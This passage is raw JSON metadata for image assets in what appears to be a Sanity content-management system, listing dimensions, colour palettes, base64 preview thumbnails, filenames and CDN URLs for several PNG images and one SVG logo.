fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5674a5","foreground":"#fff","population":0.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0b81f1","foreground":"#fff","population":0.13,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"d1cbaa8cc42e32ce5d676ecd684e0024bda68c88-1494x796.png","path":"images/sczeoy4w/production/d1cbaa8cc42e32ce5d676ecd684e0024bda68c88-1494x796.png","sha1hash":"d1cbaa8cc42e32ce5d676ecd684e0024bda68c88","size":151096,"uploadId":"ulLwCe8zDOr50x6qdQECCSY70rMJY9NK","url":"https://cdn.sanity.io/images/sczeoy4w/production/d1cbaa8cc42e32ce5d676ecd684e0024bda68c88-1494x796.png"} {"_createdAt":"2022-06-15T20:01:41Z","_id":"image-4ceb8f7f035ac273e57273edf1bf8b66f235288a-752x405-png","_rev":"CK1sLU2mnwa3vmbYWEay5z","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:15:59Z","assetId":"4ceb8f7f035ac273e57273edf1bf8b66f235288a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M7OmBZ@nMx#qMd~8wNW?jsaf:iMxkqf+oL","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACR0lEQVQokS3C6XKaQAAAYB6tHU2TapoYRSHKqYDcqyB4xRzNpJ1OJj86fakcKrDsrkGQvEpnOv3mo/ZdJeeUXFTyfr9Q5UKXC1s6APHgCeVEKEOunPUOi8vDrfDxaJaPRv6zv38Q3++53TVN7Vk157RC0ovBsFCVQpMLXSws4eDyxYgrvG4+ucxDJr8Ry99B+SfIn+z9k5X9Gu6+96isoxUDUDphCYKDOyoss3D0fKzngZ75A+J2kdNGgE4DFq0keC3E8040a8VzOpmeU6ih7PXpx+Lh4/rH4eoun86L5SK/u8rul7ubSRpoCeCgzycBt52wG7/16tSezcqrXV27RxSsS++St3evMm+1G8+J47/7AQkD6IPEt5Kxmo6lNJBjn9+OmI3XeXPPno2jF6uydqpUcszjjkmkMZIAlGwo6lDS4r6ykcXNgI90CboyHIkR6G1ddjtmN6PWs378olfWdpVaf2aT5jDlQcK7MW/FnB7xaiSp24ESGVriGnCkJ6AfAyn2pHgibP3LN6fxap6srSr19qmTMBYezol9ha05MkMCZsjxoA3QfEFWC7wM0xmAoZkuHXQL0jsH3uhR2N1YJ1RUYVJa2ymTzJhlRpiZkz2Y7gyAVAO7gHgAew72rXSsQV9FCwOtDLQawmkvsWtU+oVBtS4+E/C5gBs8aXKE5jHdw20WswzuMZhnsNxB/XY6aKbDi9S4gFYDOd+wW6PQcfvfzv9f22mdTk9p1KBxs0XaTcJekF6DCA0in2HlFGt1rNexXSNu7S9ijmWd9lVFbgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8e5951","foreground":"#fff","population":0.6,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#67301d","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c8603b","foreground":"#fff","population":5.26,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4bc9e","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ee5964","foreground":"#fff","population":0.92,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a65950","foreground":"#fff","population":2.94,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c8603b","foreground":"#fff","population":5.26,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"4ceb8f7f035ac273e57273edf1bf8b66f235288a-752x405.png","path":"images/sczeoy4w/production/4ceb8f7f035ac273e57273edf1bf8b66f235288a-752x405.png","sha1hash":"4ceb8f7f035ac273e57273edf1bf8b66f235288a","size":102144,"uploadId":"HpEMfPuuVf8N7bEiMVT9Cngy6yevJLLB","url":"https://cdn.sanity.io/images/sczeoy4w/production/4ceb8f7f035ac273e57273edf1bf8b66f235288a-752x405.png"} {"_createdAt":"2024-02-13T08:58:21Z","_id":"image-7e77d64cdfd2e1a24e13e71320c4b72fef099cb1-1200x628-png","_rev":"gJJxKM0Jl0HOvl7FTX5UTR","_type":"sanity.imageAsset","_updatedAt":"2024-02-13T08:58:21Z","assetId":"7e77d64cdfd2e1a24e13e71320c4b72fef099cb1","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MDA0VD1C}RAJrp]cB@+sJ-xGn3OFr;X9oM","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACu0lEQVQokSXPbU8TBwDA8X6DvRAQwkPx6sE933G9a0sLHhQphQ62SmiJrFqZzIoI9HgQVKxkRSTLIHPzxYgas2whZnuhL8Y2x2KMQZOFJXux7Ov8F9kX+OX/D9Q25Qkpl1DtEpozg+HOo4bLhLQ5WqQ5grJPq3IDQbuFaN6lraNKyNjANm4yFSnwsCfJrymdPwcFXqZ0Ag2nzmN3zpAcXKU/s0bf0B28gQqxntu4Z9boTH5OV/8m8b4tvPQOvZmvcbwd7I4KBXeSbW+A5/02h2mR12mJQKMwQcybJ5OtkMmuMzCyTnLwLuHEKkZ0lXBXhYhXxenewPW2iPZ+iRH7AtOskAtPUe36kL2+KAcplf2USeBkcBzduUq8d4GYt0ikewk7vozc4SMaC7RbN5DsW0h2BdXdQHXvI1qbWNY6+cQCa31FdtPDPBs6y7cDIwRqmnII8iWUjhKKPY0ankVzymjOInpkBc19j91GcaqY8W2MzgdI4R0iiQd8MvqYleJj7hW/YrOwxXJ+53/wtDqJ7k5jRmexYj5WbBHNXToGVecmIWONkHkfyf0GJfoIOfIIx3tKvvg7/srf+Mt/cfX6IcXPXhM40TiGIF083rais5jRMrrrI+rznFLmCcqLtMh3EIxt2sK7yNHvUGI/YHR9T2b8N0pL/1Ba+pfCtSNyl98SOFF/jlBrDkUpIpklRGMayZqj3SwjqGUaRZ9meR3RfogcfYoW30NL/IjZvUdq9GeK148ozhwxNvmGkYk/CNSc/JhQcxa5vYCoTtEqXSGkzSBZPqd1n6a2BVqUKu3OLmrn+7KfMM88J3L2BUP5l0xceUf+8iHD5w9Ije4T+KAuS039Oeoac9Q2T1DbfJG64Kc0CCUahGvUC2WC6j2kyBP0xLNjLJzcp+ejA0aLbxifOiR74RXpsV/oGX7Bf8KpiGcXFNeXAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e4575","foreground":"#fff","population":1.28,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04146c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bb4d37","foreground":"#fff","population":8.52,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#1f2779","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f88de","foreground":"#fff","population":1.21,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#714d6e","foreground":"#fff","population":5.92,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bb4d37","foreground":"#fff","population":8.52,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"1.png","path":"images/sczeoy4w/production/7e77d64cdfd2e1a24e13e71320c4b72fef099cb1-1200x628.png","sha1hash":"7e77d64cdfd2e1a24e13e71320c4b72fef099cb1","size":286733,"uploadId":"VNAUSOi6WnqpOE6QuhXJRGQ8x6VBbtLf","url":"https://cdn.sanity.io/images/sczeoy4w/production/7e77d64cdfd2e1a24e13e71320c4b72fef099cb1-1200x628.png"} {"_createdAt":"2022-06-30T19:57:56Z","_id":"image-e9335f1f5f4e030a83f242783be8327b4c13c3d8-640x388-png","_rev":"QRl2cGoCgj0FlAhkRrhjUu","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:19:02Z","assetId":"e9335f1f5f4e030a83f242783be8327b4c13c3d8","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MZM*26Ip00Rj4o~qjsM{ofRj4njs-;j[xu","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6494845360824741,"height":388,"width":640},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB6UlEQVQokY3PTWjTYADG8fcuQ1EZKoOh7CAePQla17p1Q0w2JwwUsYLDqjvs1INC82FneysmPc9OnThW6JZ0FnEHiQQdydE0NkvazIHUTsPShneHJqlIU8d0VPF3fv6HB8wzy/O55ezrN+/ef/goSZ9kuVAoyLJcLBYVz5qirLWpqqIokiSJgsDzPMdxYHwqMj4VuYtPzy2ykixrqurN1FKpVC6XdV1f1/XPOzRN4zgunU6n6BZw6tKVkxfHgrfuzWaZL5WvtVrNNM16vW5ZFtyx7YEQGobB83wymYxGoxiGgb7hkeNBNHDzzlwub5g127Zd1216fvyp2WxCCAVBoCgKwzAcx8GJodHeQbQ/FH7O5o0t8/d4D9d1IYSiKNI0TRAESZKgNzjaM4j6QuFnbN4w/ytOpVKkB/QMoMcuIGdvhJ8yr75vmY1Gw3GczrFtb1uWKAi78ZEA2u1HzlwPzzKtz+1yz9vWYcdxLQtWq+Lq6m58OIAe8qOnr07QLxY0fX3zW2eblUpV0zYk6e3KymOK+hUf9KMH+tG+kWuTZOLlQobNsR0xS0tsNruYyTyZmUkkEoQH7D+PdPmQo8ExZGIySj6Mx+OP/iLuicViBEHgHtDlQ/adQ7oHLg+FbkfuP8Bx7N/aWTv+Ca8w9rFSVsFFAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2e4c53","foreground":"#fff","population":1.2,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#143f4b","foreground":"#fff","population":10.56,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":20.94,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#afc5c8","foreground":"#000","population":0.26,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e08c84","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":20.94,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dc6767","foreground":"#fff","population":0.14,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"e9335f1f5f4e030a83f242783be8327b4c13c3d8-640x388.png","path":"images/sczeoy4w/production/e9335f1f5f4e030a83f242783be8327b4c13c3d8-640x388.png","sha1hash":"e9335f1f5f4e030a83f242783be8327b4c13c3d8","size":25047,"uploadId":"N2EY7Zate5bNBLSDdMp8TpjOsmE6aLHJ","url":"https://cdn.sanity.io/images/sczeoy4w/production/e9335f1f5f4e030a83f242783be8327b4c13c3d8-640x388.png"} {"_createdAt":"2022-06-30T19:58:28Z","_id":"image-36d909f145738dabef8d9f7b5bd875bed4093edd-3360x1750-png","_rev":"CK1sLU2mnwa3vmbYWEbxan","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:20:07Z","assetId":"36d909f145738dabef8d9f7b5bd875bed4093edd","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MIRMl5-9~C%gx^OXrr-UR*X9_3NbIooJM{","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.92,"height":1750,"width":3360},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsSAAALEgHS3X78AAABuUlEQVQokV2STWvbQBCG/b97L6W3FgKFHgrppT0mpmnBTSGUNP2IoXHsOpbktSVb0q60q93V7GplfayKXEySPoc5zcM7L8yg67rO2qauTKG0yrXWqSqcTN2mYpZmLsuWnG+EkMaUTVu27a5tG2ttr3WDzlpblTuMxGSU/R5uF98uveXpwv+4WJ676MwNhl7wBa2vY/KLwQ8GEy5CDWXTHOQCdvOv8OFZfvbEu3pzPB4//fnnaHxzPJ2/nPrPJ+j1bPHOW79y8Yu77VsPXUVbYYoHybEHk08wOYncywvHeX9zN7ydXaD1yMen3uYcrb9H+HNAThb+yF1OozAvtLV2sK9sq9KAzCSnUvIQ46njzh03xCSmDG22fhhRITBlnh8gP8Bpaoy5l3dVlQMImec5EEIc13U9jyQJZWwbhlEUcSEopX7Qk/wnl7uSc04pZYzFMUarFVqtMCGMZSRJkjTtZcZijKM4pow9kk1ZUsYI6TcxxvuwiFIKoPSeoii01kprAACljDF1XR86VxUAiP3dUkohpJRSa11VdfuYuq6VUkIIAOjlf37zgLruZ9u2h3e4p2kaAEjTlHP+F2BzJodXuuBsAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3f4040","foreground":"#fff","population":0.13,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#469494","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b9d4d5","foreground":"#000","population":1.81,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b9d4d5","foreground":"#000","population":1.81,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#92e4e9","foreground":"#000","population":0.73,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7484","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f08f27","foreground":"#000","population":1.27,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"36d909f145738dabef8d9f7b5bd875bed4093edd-3360x1750.png","path":"images/sczeoy4w/production/36d909f145738dabef8d9f7b5bd875bed4093edd-3360x1750.png","sha1hash":"36d909f145738dabef8d9f7b5bd875bed4093edd","size":181771,"uploadId":"1TaY3l5hao6e4DAsfWiGOtQSwVg0kcYf","url":"https://cdn.sanity.io/images/sczeoy4w/production/36d909f145738dabef8d9f7b5bd875bed4093edd-3360x1750.png"} {"_createdAt":"2022-06-15T20:01:56Z","_id":"image-9844509f05d62dc886c680fe4f4eecf99721dc6a-1567x844-png","_rev":"cEPH2uRN58AU2lp9QO7wYj","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:22:23Z","assetId":"9844509f05d62dc886c680fe4f4eecf99721dc6a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M57nB:.SIURPIU~Ct+spaKS2009Z-;xus:","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACAklEQVQokSXSXWviQBQG4EBro5mZM9+TmYxJbLJpqlZcK5ZCobt1W3YliHXxpnTRQi/6///BYnyuXw7n5Zyg0+kAAGsBAKVUCEEpjaIIAATnWqtLmyxkekNMjCDGdETNAlyGeYAxLoqiruuqqvJWVVXW2iiKUBRJxnwcX1l/J9IxjRMmLRUFlnNw18wECKGyLKetyWQyn88fHh6m02mWZUpKSZlTutBuwfvfqcuYSpisiLoFWzIdEEJms9l6vd5ut6+vr7vd7u3tbbfbNU1zO5tl/TRN0yof3PliIdMcpGeiAnUDsWcqoJTe39/v9/uvr6/Pz8+Pj4/D4fDv/f2w3//dbh9bv19emseneVknVBhgmlBHpVX6uPZwOFwul03TrFarX8/PT8vlj59Pf/6smqZZtjabzWa9noxvlJCMUtxijAXn5+cAoLV2ziXe+zzPhteD8aio66Is0zTt9/tVVY1GozwfaG045xFCYRh2u93g7Oys0+lcXFz0ej2EMbWxGw/deCh9whgjhCCEMMbHE2qtrJPGAKXdbjcMwyBs9Xq9KIoIANNa5Rn3CWYMY0xaGGPgXA1yd127sjTOUQCE0LHzKcQY45xzIRjnBIAQcvqZ0/8IY+zVNz8emeJSaA0AGONAKXUqnKZpkiRGa9UyxsQta63W+hjyifJexDEXAtrp/wEgDU4WVfrCbAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#57303e","foreground":"#fff","population":0.15,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#048454","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ed1e60","foreground":"#fff","population":0.75,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcbbbc","foreground":"#000","population":0.13,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc347c","foreground":"#fff","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8c6474","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ed1e60","foreground":"#fff","population":0.75,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"9844509f05d62dc886c680fe4f4eecf99721dc6a-1567x844.png","path":"images/sczeoy4w/production/9844509f05d62dc886c680fe4f4eecf99721dc6a-1567x844.png","sha1hash":"9844509f05d62dc886c680fe4f4eecf99721dc6a","size":840833,"uploadId":"FMhZZYJKGjnf6ONo0KlrS64RxtCoXUG5","url":"https://cdn.sanity.io/images/sczeoy4w/production/9844509f05d62dc886c680fe4f4eecf99721dc6a-1567x844.png"} {"_createdAt":"2022-06-30T19:58:24Z","_id":"image-a86f6eb19cbe0dcc4c6046af938eecfffb58eddc-1400x875-png","_rev":"CK1sLU2mnwa3vmbYWEe28I","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:29:41Z","assetId":"a86f6eb19cbe0dcc4c6046af938eecfffb58eddc","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VOLCC:}R2GOuE0=rR.S$s7R:1NEi]ks-w[XnsnsANxsS","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6,"height":875,"width":1400},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAsTAAALEwEAmpwYAAAD9UlEQVQ4jR3Da0wbBRwA8AuPDzMxPhLbGY36wZiZsS0sk2ylKHNjKTBMDWy8GSvjNR5llEJpr71eKe3RXp/X6+P6GGU8N2IyoSAxmmwyNFYMMUaNHwxqMpViM8cXKfD/G/wlP8Lj8eRyHPccz/tEPn9A5OaDItbrF9vcPrHN4xOzXl7s5ANiXzgiFuITR4Xx+FG/IIg5jhNzXq+I53lRIBAQ+Xy+510uVy7B8/xr4+Pj16Ym75inJ25bp6JB60zEZ50VOObw3P955l4kMHYvKozNRsO2qVh07E48zsRiMSvP8xaO48wcxzWzLPsGwfv9BXdnpqaXZ4THDwRdas3VsZVkW1PrttbUOtOeWrd0ptbN3alvTcrUN3T/9lfGwe2HFtP2ihBMTUajW3aWTVmt1j9Ylp1jGOYs4fXxhQtz8aWNuHb/MfMupnVv4z9Dx3Gn/wTu9Objzs0C3GkrxJ2WYnx6rQSfNJTjlqIWfzQZcT4QQLPZjHq9/mB0dHTFbDYXEQ63t3Bpkk/8Em7dzTD5iPTxA6ROA2pOA6oKAPukgF3FgB2XANs+ALz+IRw0XoU/Bwbgvst9YDKZQKvVZmiaXqZpWkqM2R2FiRib+DXYlNl3FiG6ZQDuSgR7FYD1KoC5HoBqQqBaEageBHUXYqsCt/v6ccHOAm2kUaPR7BkMhmW9Xi8lGJtdkogwiU3Plcz+yClE23kA1xUEZz0Cex3BqkCgWxBM3Yi0CkHZjrs1dfhbuxLnLXYwGCgcHBzcI0lymSRJKcHYHZJEzLG46bqS2dO8jqjNAzBdBKAvAxgrAcgagKE6AHUzQF8LpBsaYa2iDUKNFtAO+qFPM4JDQ5oMSZJLOp1OSjhcHsnybGRxM6rc3TPmIw68BajKB1S+A9gtBbx5AbBNBqi4DP82VMLDyk4YbgxA9a1PoKT3PlT1cDgwTGUoyrCk1ZFSwuX2nFv86O7CD4vR3dSEGtOuBkhbqyFNV0PaUAdpXRP8rVHAk8E22OzvA2+bE5q0n2Gv8BNWUF/i+x23sVttyhgpw5JOp5cSdrv9xEQ87vl4fmbj8/n496vTgfVHcXfyUcSRXBUcydWQM7kacCfXQlxyhQ99rdLPbpRrv/i91vbd0/fUq39Jb0R/7uynNvR6ktMMa08RIyMjLzAMU2QetTTbWGdzUAhXRSIRuSCE5EIoKA8FD4fkkXBY7hdi8kZytubYjU/JV5sfCOLalbEzdd4uRcetJvWAqqh/QP0iQRlpQnapJKcg/+QzZ08eOyI/l5ejkBVm1cuKs+tLL2TXyw6XZDeVlWUrKy5m5cm53KzyxEtE6cqbhGzxlZfP656VSCRHSkvLcjp7VMR/529YO/8ueOEAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4434","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04248c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f95c1f","foreground":"#fff","population":17.64,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bc8cc0","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8ac4fc","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#757574","foreground":"#fff","population":9.67,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f95c1f","foreground":"#fff","population":17.64,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"a86f6eb19cbe0dcc4c6046af938eecfffb58eddc-1400x875.png","path":"images/sczeoy4w/production/a86f6eb19cbe0dcc4c6046af938eecfffb58eddc-1400x875.png","sha1hash":"a86f6eb19cbe0dcc4c6046af938eecfffb58eddc","size":491317,"uploadId":"64exVqPZSdRkg3F9MooqP8ZKD08DyhNu","url":"https://cdn.sanity.io/images/sczeoy4w/production/a86f6eb19cbe0dcc4c6046af938eecfffb58eddc-1400x875.png"} {"_createdAt":"2022-11-16T06:26:24Z","_id":"image-01868502c6736c6d422793078fcabdb528c1cbd0-183x59-svg","_rev":"YI3rks3mbRtnzMpdn5YAvi","_type":"sanity.imageAsset","_updatedAt":"2022-11-16T06:26:24Z","assetId":"01868502c6736c6d422793078fcabdb528c1cbd0","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"DFLrI:OR*V=OCX~qM{af%MIU","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.1016949152542375,"height":59,"width":183},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAAsTAAALEwEAmpwYAAABhUlEQVQYlW2RTUhUYRSG7yqmNLXrz8aN0MZNhbRQswGVBCtyKAplikJthGwWgz85WowtKrDEdQVR0CLahkJBKCJYGwMFV0YXHH9aJd6Zcca5c98nPtBVLR7O4pz34RyOJakCMJRKOu6pcAIof+fOV1/cnmg7tzEea9p8/KhhIxG9+nuqdXZvtQY46UtnJdUCZUDJgcO2JN0DuoFrkkKSbgI9WT8fXtlf753O/Bj8lF5KfM4sj6zuJ2/nlA8BYUndkrqAK8B1oNfkLOAV8AQYAIYljQMTwFheXv9OIR39U0jHXX8v4akQBW4dLHEfMNXkRoHnwAsjDAOXgPOSmiW1AaGUn23/klm+/HL3a+StOz/6IbU4+D271pnxc82AmQtKagRagFagw1xohCWSioCApEBO3jGgeHJnpvJMMh6sXR+KnUqOPD2djMcubD0Lfkx9qzL9vLwiSUeBQ4rND4zwH964c1bg152A7UTqbafvoe30vbadyIMy526d9fPGkffuwn9zkqy/kLJh1lAwpFgAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c2c34","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#048d27","foreground":"#fff","population":0.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5dad7a","foreground":"#fff","population":0.25,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcacb4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#64bc94","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5dad7a","foreground":"#fff","population":0.25,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#09f771","foreground":"#000","population":0.06,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"Everactive-logo.svg","path":"images/sczeoy4w/production/01868502c6736c6d422793078fcabdb528c1cbd0-183x59.svg","sha1hash":"01868502c6736c6d422793078fcabdb528c1cbd0","size":9683,"uploadId":"BYk4SmEiWsqkpdx7ReYkJBOV4VOAMYEi","url":"https://cdn.sanity.io/images/sczeoy4w/production/01868502c6736c6d422793078fcabdb528c1cbd0-183x59.svg"} {"_createdAt":"2022-06-30T11:51:35Z","_id":"image-2753c0a2df7ac0216e3e081b08e25eae0b3f9e96-954x588-png","_rev":"cEPH2uRN58AU2lp9QO7a8H","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:15:28Z","assetId":"2753c0a2df7ac0216e3e081b08e25eae0b3f9e96","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VQP??q};%jGbyV?cI;Rhw{i~.9I[i]#RRQE0xaxvNGbX","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6224489795918366,"height":588,"width":954},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAACUUlEQVQokU2Sy08UQRCH+VdU1AvxauLJf0AOBMVoTLzpwcRHNIZ4AQOYaNCYAAZCfHCQBUUPigsmyu4CBoEZVzO7yD5mX/PamZ6e7urpntnlYmZZ0eS7VCVfqurX3cGCPRBNDFyvu2XNKtdMtWa0qeqlmlHWzLJmVHSrolulmlE1bUQY8UPKGx0s2KO84VLfxhDhEhvhCJfUXWpjut93vAjbo4gwDNxjAfHDtoxBYBAEgJq7kE9AIUHNHAWgvEF5SP0Ij4UIAgcCBKH3/2RMuQuCIB2kF3zhPH93AeQZggzih4QFhAUuiJxJlzPW+x9GatepomjzDsobxA8x5ZhxYqsscV9MHOXPjkNqpG7lc46eNvLZermE0LJiXZtTeqakwY+76QqOZET8Fq1L7CKsDIixQ3z8CCSHcpXtl5kP99afjkqvEuVf81LtzKTUNbJ25bWyUXQjuRUGc6nvMUEclSUGxdhhPt7JkkNpdbV//cnphUsXl+4s/E7OSdXuSblrZO3qrLKp4uhmjwVRWpT/lQcOZLmYvJV6eHLubO/i9fmdr7EDOaZ8V91/gXkgMBPEVmFlkI938oljkByWi6nbq49Ozfed+3TjTfZLbLvSPSWfeBBNbq+9/0kiGbiHNLI5TWZ7SKyXbD3PVOTH2zOX4/13k6OfC5txRb/5VumblobjuZ/VVmBtmQWYCY9QT8siJY4yS56WNdz6lrazlPuWKskFx8xbZGXHWkxrGwVHd/22fACIPRAh8TnxOYgQgiaNSkF5CEEDgiZpvSvwBogmiOYfxDpauri9HkEAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3d8a57","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c983c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f58b12","foreground":"#000","population":7.86,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b3bbc1","foreground":"#000","population":0.39,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fccc73","foreground":"#000","population":0.05,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6592b4","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f58b12","foreground":"#000","population":7.86,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"2753c0a2df7ac0216e3e081b08e25eae0b3f9e96-954x588.png","path":"images/sczeoy4w/production/2753c0a2df7ac0216e3e081b08e25eae0b3f9e96-954x588.png","sha1hash":"2753c0a2df7ac0216e3e081b08e25eae0b3f9e96","size":10803,"uploadId":"AuDg05WKOSRuFhXjpfTTKivpltNhyQTe","url":"https://cdn.sanity.io/images/sczeoy4w/production/2753c0a2df7a